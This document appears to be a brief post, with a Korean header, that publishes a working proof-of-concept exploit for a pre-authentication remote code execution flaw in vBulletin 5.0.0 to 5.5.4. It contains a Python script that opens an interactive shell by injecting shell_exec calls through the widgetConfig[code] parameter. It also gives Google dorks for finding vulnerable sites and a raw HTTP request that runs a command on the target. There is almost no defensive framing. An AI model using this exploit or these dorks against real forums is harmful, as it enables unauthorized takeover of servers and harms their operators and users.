vBulletin-5.x-0day-pre-auth-RCE-exploit

영향받는 버전: vBulletin 5.0.0~5.5.4

PoC는 다음과 같습니다:

#!/usr/bin/python

vBulletin 5.x 0day pre-auth RCE exploit

This should work on all versions from 5.0.0 till 5.5.4

Google Dorks:

- site:*.vbulletin.net

- "Powered by vBulletin Version 5.5.4"

import requests

import sys

if len(sys.argv) != 2:

sys.exit("Usage: %s " % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:

try:

     cmd = raw_input("vBulletin$ ")

     params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"

     r = requests.post(url = sys.argv[1], data = params)

     if r.status_code == 200:

          print r.text

     else:

          sys.exit("Exploit failed! :(")

except KeyboardInterrupt:

     sys.exit(" Closing shell...")

except Exception, e:

     sys.exit(str(e))

POST / HTTP/1.1

Host: *

Content-Type: application/x-www-form-urlencoded

Content-Length: 108

routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27ifconfig%27%29%3B+exit%3B